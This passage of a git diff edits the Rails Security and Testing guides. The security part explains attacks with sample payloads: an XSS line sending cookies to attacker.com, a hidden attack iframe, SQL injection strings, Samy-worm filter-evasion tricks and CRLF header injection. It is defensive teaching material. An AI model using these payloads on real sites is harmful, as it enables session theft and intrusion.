-And thus it found the first user in the database, returned it and logged him in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this. +And thus it found the first user in the database, returned it and logged them in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this. ### Brute-Forcing Accounts @@ -406,7 +408,7 @@ NOTE: _Brute-force attacks on accounts are trial and error attacks on the login A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes. -Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names. +Because of this, most web applications will display a generic error message "user name or password not correct", if one of these are not correct. If it said "the user name you entered has not been found", an attacker could automatically compile a list of user names. However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts. @@ -418,24 +420,24 @@ Many web applications make it easy to hijack user accounts. Why not be different #### Passwords -Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_. +Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring them to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_. #### E-Mail -However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_. +However, the attacker may also take over the account by changing the e-mail address. After they change it, they will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_. #### Other -Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_. +Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_. ### CAPTCHAs -INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that he is human, but reveal that a robot is a robot._ +INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that they are human, but reveal that a robot is a robot._ But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is [reCAPTCHA](http://recaptcha.net/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) is also a Rails plug-in with the same name as the API. You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails. -The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot. +The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that they are human, but reveal that a spam robot is a bot. Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript. @@ -447,7 +449,7 @@ Here are some ideas how to hide honeypot fields by JavaScript and/or CSS: The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too. -You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](http://nedbatchelder.com/text/stopbots.html:) +You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](http://nedbatchelder.com/text/stopbots.html): * Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid. * Randomize the field names @@ -481,7 +483,7 @@ A good password is a long alphanumeric combination of mixed cases. As this is qu INFO: _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._ -Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this: +Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books get this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this: ```ruby /^https?:\/\/[^\n]+$/i @@ -495,7 +497,7 @@ http://hi.com */ ``` -This URL passes the filter because the regular expression matches – the second line, the rest does not matter. Now imagine we had a view that showed the URL like this: +This URL passes the filter because the regular expression matches - the second line, the rest does not matter. Now imagine we had a view that showed the URL like this: ```ruby link_to "Homepage", @user.homepage @@ -528,7 +530,7 @@ The most common parameter that a user might tamper with, is the id parameter, as @project = Project.find(params[:id]) ``` -This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _query the user's access rights, too_: +This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and they are not allowed to see that information, they will have access to it anyway. Instead, _query the user's access rights, too_: ```ruby @project = @current_user.projects.find(params[:id]) @@ -571,7 +573,7 @@ SQL injection attacks aim at influencing database queries by manipulating web ap Project.where("name = '#{params[:name]}'") ``` -This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be: +This could be in a search action and the user may enter a project's name that they want to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be: ```sql SELECT * FROM projects WHERE name = '' OR 1 --' @@ -581,7 +583,7 @@ The two dashes start a comment ignoring everything after it. So the query return #### Bypassing Authorization -Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user. +Usually a web application includes access control. The user enters their login credentials and the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user. ```ruby User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'") @@ -646,7 +648,7 @@ INFO: _The most widespread, and one of the most devastating security vulnerabili An entry point is a vulnerable URL and its parameters where an attacker can start an attack. -The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the [Live HTTP Headers Firefox plugin](http://livehttpheaders.mozdev.org/), or client-site proxies make it easy to change requests. +The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter - obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the [Live HTTP Headers Firefox plugin](http://livehttpheaders.mozdev.org/), or client-site proxies make it easy to change requests. XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser. @@ -679,7 +681,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal <script>document.write(document.cookie);</script> ``` -For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie. +For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review their web server's access log files to see the victim's cookie. ```html <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> @@ -698,10 +700,10 @@ You can mitigate these attacks (in the obvious way) by adding the [httpOnly](htt With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes: ```html -<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe> +<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe> ``` -This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](http://isc.sans.org/diary.html?storyid=3015). Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed. +This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](http://isc.sans.org/diary.html?storyid=3015). Mpack tries to install malicious software through security holes in the web browser - very successfully, 50% of the attacks succeed. A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site. @@ -718,7 +720,7 @@ _It is very important to filter malicious input, but it is also important to esc Especially for XSS, it is important to do _whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete. -Imagine a blacklist deletes “script” from the user input. Now the attacker injects “<scrscriptipt>”, and after the filter, “<script>” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible: +Imagine a blacklist deletes "script" from the user input. Now the attacker injects "<scrscriptipt>", and after the filter, "<script>" remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible: ```ruby strip_tags("some<<b>script>alert('hello')<</b>/script>") @@ -744,7 +746,7 @@ Network traffic is mostly based on the limited Western alphabet, so new characte lert('XSS')> ``` -This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the [Hackvertor](https://hackvertor.co.uk/public). Rails' sanitize() method does a good job to fend off encoding attacks. +This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus "get to know your enemy", is the [Hackvertor](https://hackvertor.co.uk/public). Rails' sanitize() method does a good job to fend off encoding attacks. #### Examples from the Underground @@ -760,9 +762,9 @@ The following is an excerpt from the [Js.Yamanner@m](http://www.symantec.com/sec The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application. -Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/article/9/Paper_A_PoC_of_a_cross_webmail_worm_XWW_called_Njuda_connection/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with. +Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/news/37/Nduja_Connection_A_cross_webmail_worm_XWW/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with. -In December 2006, 34,000 actual user names and passwords were stolen in a [MySpace phishing attack](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form. +In December 2006, 34,000 actual user names and passwords were stolen in a [MySpace phishing attack](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). The idea of the attack was to create a profile page named "login_home_index_html", so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form. The MySpace Samy worm will be discussed in the CSS Injection section. @@ -784,13 +786,13 @@ So the payload is in the style attribute. But there are no quotes allowed in the <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')"> ``` -The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”: +The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word "innerHTML": ``` alert(eval('document.body.inne' + 'rHTML')); ``` -The next problem was MySpace filtering the word “javascript”, so the author used “java<NEWLINE>script" to get around this: +The next problem was MySpace filtering the word "javascript", so the author used "java<NEWLINE>script" to get around this: ```html <div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')"> @@ -837,7 +839,7 @@ It is recommended to _use RedCloth in combination with a whitelist input filter_ ### Ajax Injection -NOTE: _The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._ +NOTE: _The same security precautions have to be taken for Ajax actions as for "normal" ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._ If you use the [in_place_editor plugin](http://dev.rubyonrails.org/browser/plugins/in_place_editing), or actions that return a string, rather than rendering a view, _you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method. @@ -861,7 +863,7 @@ WARNING: _HTTP headers are dynamically generated and under certain circumstances HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _Remember to escape these header fields, too._ For example when you display the user agent in an administration area. -Besides that, it is _important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address: +Besides that, it is _important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a "referer" field in a form to redirect to the given address: ```ruby redirect_to params[:referer] @@ -888,7 +890,7 @@ HTTP/1.1 302 Moved Temporarily Location: http://www.malicious.tld ``` -So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._ +So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? They could redirect to a phishing site that looks the same as yours, but ask to login again (and sends the login credentials to the attacker). Or they could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._ #### Response Splitting @@ -942,7 +944,7 @@ Or you can remove them. config.action_dispatch.default_headers.clear ``` -Here is the list of common headers: +Here is a list of common headers: * X-Frame-Options _'SAMEORIGIN' in Rails by default_ - allow framing on same domain. Set it to 'DENY' to deny framing at all or 'ALLOWALL' if you want to allow framing for all website. diff --git a/guides/source/testing.md b/guides/source/testing.md index d5efadec6c..33cd3e868b 100644 --- a/guides/source/testing.md +++ b/guides/source/testing.md @@ -64,20 +64,36 @@ YAML-formatted fixtures are a very human-friendly way to describe your sample da Here's a sample YAML fixture file: ```yaml -# lo & behold! I am a YAML comment! +# lo & behold! I am a YAML comment! david: - name: David Heinemeier Hansson - birthday: 1979-10-15 - profession: Systems development + name: David Heinemeier Hansson + birthday: 1979-10-15 + profession: Systems development steve: - name: Steve Ross Kellock - birthday: 1974-09-27 - profession: guy with keyboard + name: Steve Ross Kellock + birthday: 1974-09-27 + profession: guy with keyboard ``` Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank space. You can place comments in a fixture file by using the # character in the first column. Keys which resemble YAML keywords such as 'yes' and 'no' are quoted so that the YAML Parser correctly interprets them. +If you are working with [associations](/association_basics.html), you can simply +define a reference node between two different fixtures. Here's an example with +a belongs_to/has_many association: + +```yaml +# In fixtures/categories.yml +about: + name: About + +# In fixtures/articles.yml +one: + title: Welcome to Rails! + body: Hello world! + category: about +``` + #### ERB'in It Up ERB allows you to embed Ruby code within templates. The YAML fixture format is pre-processed with ERB when Rails loads fixtures. This allows you to use Ruby to help you generate some sample data. For example, the following code generates a thousand users: @@ -85,14 +101,14 @@ ERB allows you to embed Ruby code within templates. The YAML fixture format is p ```erb <% 1000.times do |n| %> user_<%= n %>: - username: <%= "user%03d" % n %> - email: <%= "user%03d@example.com" % n %> + username: <%= "user#{n}" %> + email: <%= "user#{n}@example.com" %> <% end %> ``` #### Fixtures in Action -Rails by default automatically loads all fixtures from the `test/fixtures` folder for your unit and functional test. Loading involves three steps: +Rails by default automatically loads all fixtures from the `test/fixtures` folder for your models and controllers test. Loading involves three steps: * Remove any existing data from the table corresponding to the fixture * Load the fixture data into the table @@ -116,7 +132,7 @@ email(david.girlfriend.email, david.location_tonight) Unit Testing your Models ------------------------ -In Rails, unit tests are what you write to test your models. +In Rails, models tests are what you write to test your models. For this guide we will be using Rails _scaffolding_. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practices. I will be using examples from this generated code and will be supplementing it with additional examples where necessary. @@ -128,12 +144,12 @@ When you use `rails generate scaffold`, for a resource among other things it cre $ rails generate scaffold post title:string body:text ... create app/models/post.rb -create test/unit/post_test.rb +create test/models/post_test.rb create test/fixtures/posts.yml ... ``` -The default test stub in `test/unit/post_test.rb` looks like this: +The default test stub in `test/models/post_test.rb` looks like this: ```ruby require 'test_helper' @@ -159,9 +175,10 @@ class PostTest < ActiveSupport::TestCase The `PostTest` class defines a _test case_ because it inherits from `ActiveSupport::TestCase`. `PostTest` thus has all the methods available from `ActiveSupport::TestCase`. You'll see those methods a little later in this guide. -Any method defined within a `Test::Unit` test case that begins with `test` (case sensitive) is simply called a test. So, `test_password`, `test_valid_password` and `testValidPassword` all are legal test names and are run automatically when the test case is run. +Any method defined within a class inherited from `MiniTest::Unit::TestCase` +(which is the superclass of `ActiveSupport::TestCase`) that begins with `test` (case sensitive) is simply called a test. So, `test_password`, `test_valid_password` and `testValidPassword` all are legal test names and are run automatically when the test case is run. -Rails adds a `test` method that takes a test name and a block. It generates a normal `Test::Unit` test with method names prefixed with `test_`. So, +Rails adds a `test` method that takes a test name and a block. It generates a normal `MiniTest::Unit` test with method names prefixed with `test_`. So, ```ruby test "the truth" do @@ -194,31 +211,9 @@ This line of code is called an _assertion_. An assertion is a line of code that Every test contains one or more assertions. Only when all the assertions are successful will the test pass. -### Preparing your Application for Testing - -Before you can run your tests, you need to ensure that the test database structure is current. For this you can use the following rake commands: - -```bash -$ rake db:migrate -... -$ rake db:test:load -``` - -The `rake db:migrate` above runs any pending migrations on the _development_ environment and updates `db/schema.rb`. The `rake db:test:load` recreates the test database from the current `db/schema.rb`. On subsequent attempts, it is a good idea to first run `db:test:prepare`, as it first checks for pending migrations and warns you appropriately. - -NOTE: `db:test:prepare` will fail with an error if `db/schema.rb` doesn't exist. - -#### Rake Tasks for Preparing your Application for Testing - -| Tasks | Description | -| ------------------------------ | ------------------------------------------------------------------------- | -| `rake db:test:clone` | Recreate the test database from the current environment's database schema | -| `rake db:test:clone_structure` | Recreate the test database from the development structure | -| `rake db:test:load` | Recreate the test database from the current `schema.rb` | -| `rake db:test:prepare` | Check for pending migrations and load the test schema | -| `rake db:test:purge` | Empty the test database. | +### Maintaining the test database schema -TIP: You can see all these rake tasks and their descriptions by running `rake --tasks --describe` +In order to run your tests, your test database will need to have the current structure. The test helper checks whether your test database has any pending migrations. If so, it will try to load your `db/schema.rb` or `db/structure.sql` into the test database. If migrations are still pending, an error will be raised. ### Running Tests @@ -342,35 +337,53 @@ Notice the 'E' in the output. It denotes a test with error. NOTE: The execution of each test method stops as soon as any error or an assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order. +When a test fails you are presented with the corresponding backtrace. By default +Rails filters that backtrace and will only print lines relevant to your +application. This eliminates the framwork noise and helps to focus on your +code. However there are situations when you want to see the full +backtrace. simply set the `BACKTRACE` environment variable to enable this +behavior: + +```bash +$ BACKTRACE=1 rake test test/models/post_test.rb +``` + ### What to Include in Your Unit Tests Ideally, you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model. -### Assertions Available +### Available Assertions By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned. -There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with `test/unit`, the default testing library used by Rails. The `[msg]` parameter is an optional string message you can specify to make your test failure messages clearer. It's not required. +There are a bunch of different types of assertions you can use. +Here's an extract of the assertions you can use with `minitest`, the default testing library used by Rails. The `[msg]` parameter is an optional string message you can specify to make your test failure messages clearer. It's not required. | Assertion | Purpose | | ---------------------------------------------------------------- | ------- | -| `assert( boolean, [msg] )` | Ensures that the object/expression is true.| +| `assert( test, [msg] )` | Ensures that `test` is true.| +| `assert_not( test, [msg] )` | Ensures that `test` is false.| | `assert_equal( expected, actual, [msg] )` | Ensures that `expected == actual` is true.| | `assert_not_equal( expected, actual, [msg] )` | Ensures that `expected != actual` is true.| | `assert_same( expected, actual, [msg] )` | Ensures that `expected.equal?(actual)` is true.| -| `assert_not_same( expected, actual, [msg] )` | Ensures that `!expected.equal?(actual)` is true.| +| `assert_not_same( expected, actual, [msg] )` | Ensures that `expected.equal?(actual)` is false.| | `assert_nil( obj, [msg] )` | Ensures that `obj.nil?` is true.| -| `assert_not_nil( obj, [msg] )` | Ensures that `!obj.nil?` is true.| +| `assert_not_nil( obj, [msg] )` | Ensures that `obj.nil?` is false.| | `assert_match( regexp, string, [msg] )` | Ensures that a string matches the regular expression.| | `assert_no_match( regexp, string, [msg] )` | Ensures that a string doesn't match the regular expression.| -| `assert_in_delta( expecting, actual, delta, [msg] )` | Ensures that the numbers `expecting` and `actual` are within `delta` of each other.| +| `assert_in_delta( expecting, actual, [delta], [msg] )` | Ensures that the numbers `expected` and `actual` are within `delta` of each other.| +| `assert_not_in_delta( expecting, actual, [delta], [msg] )` | Ensures that the numbers `expected` and `actual` are not within `delta` of each other.| | `assert_throws( symbol, [msg] ) { block }` | Ensures that the given block throws the symbol.| -| `assert_raise( exception1, exception2, ... ) { block }` | Ensures that the given block raises one of the given exceptions.| +| `assert_raises( exception1, exception2, ... ) { block }` | Ensures that the given block raises one of the given exceptions.| | `assert_nothing_raised( exception1, exception2, ... ) { block }` | Ensures that the given block doesn't raise one of the given exceptions.| -| `assert_instance_of( class, obj, [msg] )` | Ensures that `obj` is of the `class` type.| +| `assert_instance_of( class, obj, [msg] )` | Ensures that `obj` is an instance of `class`.| +| `assert_not_instance_of( class, obj, [msg] )` | Ensures that `obj` is not an instance of `class`.| | `assert_kind_of( class, obj, [msg] )` | Ensures that `obj` is or descends from `class`.| -| `assert_respond_to( obj, symbol, [msg] )` | Ensures that `obj` has a method called `symbol`.| -| `assert_operator( obj1, operator, obj2, [msg] )` | Ensures that `obj1.operator(obj2)` is true.| +| `assert_not_kind_of( class, obj, [msg] )` | Ensures that `obj` is not an instance of `class` and is not descending from it.| +| `assert_respond_to( obj, symbol, [msg] )` | Ensures that `obj` responds to `symbol`.| +| `assert_not_respond_to( obj, symbol, [msg] )` | Ensures that `obj` does not respond to `symbol`.| +| `assert_operator( obj1, operator, [obj2], [msg] )` | Ensures that `obj1.operator(obj2)` is true.| +| `assert_not_operator( obj1, operator, [obj2], [msg] )` | Ensures that `obj1.operator(obj2)` is false.| | `assert_send( array, [msg] )` | Ensures that executing the method listed in `array[1]` on the object in `array[0]` with the parameters of `array[2 and up]` is true. This one is weird eh?| | `flunk( [msg] )` | Ensures failure. This is useful to explicitly mark a test that isn't finished yet.| @@ -388,7 +401,7 @@ Rails adds some custom assertions of its own to the `test/unit` framework: | `assert_no_difference(expressions, message = nil, &block)` | Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.| | `assert_recognizes(expected_options, path, extras={}, message=nil)` | Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.| | `assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)` | Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.| -| `assert_response(type, message = nil)` | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match the 500-599 range| +| `assert_response(type, message = nil)` | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match the 500-599 range| | `assert_redirected_to(options = {}, message=nil)` | Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that `assert_redirected_to(controller: "weblog")` will also match the redirection of `redirect_to(controller: "weblog", action: "show")` and so on.| | `assert_template(expected = nil, message=nil)` | Asserts that the request was rendered with the appropriate template file.| @@ -414,10 +427,12 @@ Now that we have used Rails scaffold generator for our `Post` resource, it has a Let me take you through one such test, `test_should_get_index` from the file `posts_controller_test.rb`. ```ruby -test "should get index" do - get :index - assert_response :success - assert_not_nil assigns(:posts) +class PostsControllerTest < ActionController::TestCase + test "should get index" do + get :index + assert_response :success + assert_not_nil assigns(:posts) + end end ``` @@ -475,7 +490,7 @@ NOTE: Functional tests do not verify whether the specified request type should b ### The Four Hashes of the Apocalypse -After a request has been made by using one of the 5 methods (`get`, `post`, etc.) and processed, you will have 4 Hash objects ready for use: +After a request has been made using one of the 6 methods (`get`, `post`, etc.) and processed, you will have 4 Hash objects ready for use: * `assigns` - Any objects that are stored as instance variables in actions for use in views. * `cookies` - Any cookies that are set. @@ -508,7 +523,7 @@ instance variable: ```ruby # setting a HTTP Header -@request.headers["Accepts"] = "text/plain, text/html" +@request.headers["Accept"] = "text/plain, text/html" get :index # simulate the request with custom header # setting a CGI variable @@ -614,11 +629,11 @@ The `assert_select` assertion is quite powerful. For more advanced usage, refer There are more assertions that are primarily used in testing views: -| Assertion | Purpose | -| ---------------------------------------------------------- | ------- | -| `assert_select_email` | Allows you to make assertions on the body of an e-mail. | -| `assert_select_encoded` | Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.| -| `css_select(selector)` or `css_select(element, selector)` | Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.| +| Assertion | Purpose | +| --------------------------------------------------------- | ------- | +| `assert_select_email` | Allows you to make assertions on the body of an e-mail. | +| `assert_select_encoded` | Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.| +| `css_select(selector)` or `css_select(element, selector)` | Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.| Here's an example of using `assert_select_email`: @@ -714,17 +729,17 @@ class UserFlowsTest < ActionDispatch::IntegrationTest test "login and browse site" do - # User avs logs in - avs = login(:david) + # User david logs in + david = login(:david) # User guest logs in guest = login(:guest) # Both are now available in different sessions - assert_equal 'Welcome david!', avs.flash[:notice] + assert_equal 'Welcome david!', david.flash[:notice] assert_equal 'Welcome guest!', guest.flash[:notice] - # User avs can browse site - avs.browses_site + # User david can browse site + david.browses_site # User guest can browse site as well guest.browses_site @@ -733,50 +748,48 @@ class UserFlowsTest < ActionDispatch::IntegrationTest private - module CustomDsl - def browses_site - get "/products/all" - assert_response :success - assert assigns(:products) + module CustomDsl + def browses_site + get "/products/all" + assert_response :success + assert assigns(:products) + end end - end - def login(user) - open_session do |sess| - sess.extend(CustomDsl) - u = users(user) - sess.https! - sess.post "/login", username: u.username, password: u.password - assert_equal '/welcome', path - sess.https!(false) + def login(user) + open_session do |sess| + sess.extend(CustomDsl) + u = users(user) + sess.https! + sess.post "/login", username: u.username, password: u.password + assert_equal '/welcome', sess.path + sess.https!(false) + end end - end end ``` Rake Tasks for Running your Tests --------------------------------- -You don't need to set up and run your tests by hand on a test-by-test 